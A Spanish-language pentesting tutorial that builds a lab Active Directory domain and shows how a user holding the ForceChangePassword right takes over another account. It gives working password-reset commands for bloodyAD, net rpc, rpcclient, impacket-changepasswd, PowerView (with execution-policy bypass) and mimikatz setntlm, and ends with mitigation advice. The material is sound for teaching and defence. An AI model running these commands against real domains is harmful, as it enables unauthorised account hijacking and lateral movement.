Abusando del permiso ForceChangePassword
En este artículo vamos a ver cómo configurar y abusar del permiso AD-DACL ForceChangePassword en entornos Active Directory.
ForceChangePassword es un permiso que permite cambiar la contraseña de un usuario sin conocer la contraseña actual, algo que normalmente está restringido a administradores. Si un atacante logra este derecho sobre un objeto de usuario, puede secuestrar la cuenta directamente, obteniendo acceso persistente y facilitando movimientos laterales dentro del dominio.
Configuración del laboratorio
Creación de usuarios
Para llevar a cabo la demostración, creamos dos usuarios:
net user ian Password123! /add /domain
net user tom Password123! /add /domain

Asignando el permiso ForceChangePassword al usuario ian sobre tom
Desde la sección de Active Directory Users and Computers en el controlador de dominio, habilitamos la vista de Advanced Features (Caraterísticas avanzadas).

A continuación, accedemos a las propiedades del usuario tom, haciendo clic derecho sobre este objeto y luego en Properties.

Luego, accedemos a la pestaña Security.

Hacemos clic en el botón Add y en el cuadro de texto escribimos el nombre de ian y damos clic en Check names y por último en Ok.


A continuación, seleccionamos el usuario ian y en la sección de Permissions for ian marcamos la casilla Reset password:

Por último, hacemos clic en Apply y luego en Ok para guardar los cambios.
Enumeración
Bloodhound
Como siempre, comenzamos realizando una enumeración utilizando bloodhound-python y Bloodhound para tener conocer y enumerar el entorno al cual nos enfrentamos.
bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u ian -p Password123! -c all --zip


De esta forma, podemos observar que efectivamente el usuario ian tiene el privilegio ForceChangePassword sobre el usuario tom.
Explotación
Para poder abusar de este permiso existen una variedad de herramientas que podemos utilizar desde sistemas Linux como Windows.
BloodyAD
En primer lugar, podemos realizar cambios de contraseña utilizando la herramienta bloodyAD.
bloodyAD -H 192.168.56.100 -d zonahacking.local -u ian -p 'Password123!' set password 'tom' 'SuperS3cretPa$$w0rd!$'

Net RPC - Samba
Por otra parte, podemos usar la herramienta net, una herramienta para la administración de clientes Samba y CIFS/SMB , en sistemas tipo UNIX.
net rpc password tom 'SuperSecretPasssword213$!' -U zonahacking.local/ian%'Password123!' -S 192.168.56.100

Net RPC - Rpcclient
Otra forma de abusar de este privilegio desde Linux es usando rpcclient:
❯ rpcclient -U ian 192.168.56.100
Password for [WORKGROUP\ian]:
rpcclient $> setuserinfo tom 23 SuperPassword123#!
rpcclient $>


impacket-changepassword
Otra herramienta interesante dentro de Linux es el script changepassword presente en la suite de Impacket.
impacket-changepasswd zonahacking.local/tom@192.168.56.100 -newpass 'qwerty$123' -altuser zonahacking.local/ian -altpass Password123! -reset

Windows - PowerShell - PowerView
Para abusar de este privilegio desde Windows, podemos usar el módulo de PowerView, el cual cuenta con el cmdlet Set-DomainUserPassword:
powershell -ep bypass
import-module .\PowerView.ps1
$newTomPass = ConvertTo-SecureString 'Pa$$w0rd321!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'tom' -AccountPassword $newTomPass

Windows - Mimikatz
Por último, otra alternativa es utilizar mimikatz. Mimikatz puede establecer directamente un nuevo hash NTLM para la cuenta de un usuario sin requerir la contraseña actual de la siguiente forma:
.\mimikatz.exe "lsadump::setntlm /server:zonahacking.local /user:tom /password:SuperPass_2026!" exit

En conclusión, comprender y mitigar el abuso de ForceChangePassword en Active Directory es fundamental para reducir el riesgo de compromiso de cuentas privilegiadas, ya que este permiso permite a un atacante cambiar contraseñas sin conocer la credencial actual. Una mala delegación de este derecho puede facilitar el movimiento lateral, la persistencia y, en escenarios más graves, la escalada de privilegios dentro del dominio. Auditar periódicamente los permisos sobre objetos de usuario, aplicar el principio de mínimo privilegio y monitorear cambios de contraseñas anómalos son medidas clave para detectar y prevenir este tipo de abusos antes de que deriven en un compromiso total del entorno.
De esta manera llegamos al final del artículo.
Espero que el contenido te haya resultado interesante y, sobre todo, útil para comprender cómo el abuso de ForceChangePassword puede impactar la seguridad de un entorno Active Directory.
Gracias por leer y por llegar hasta aquí.
¡Happy Hacking!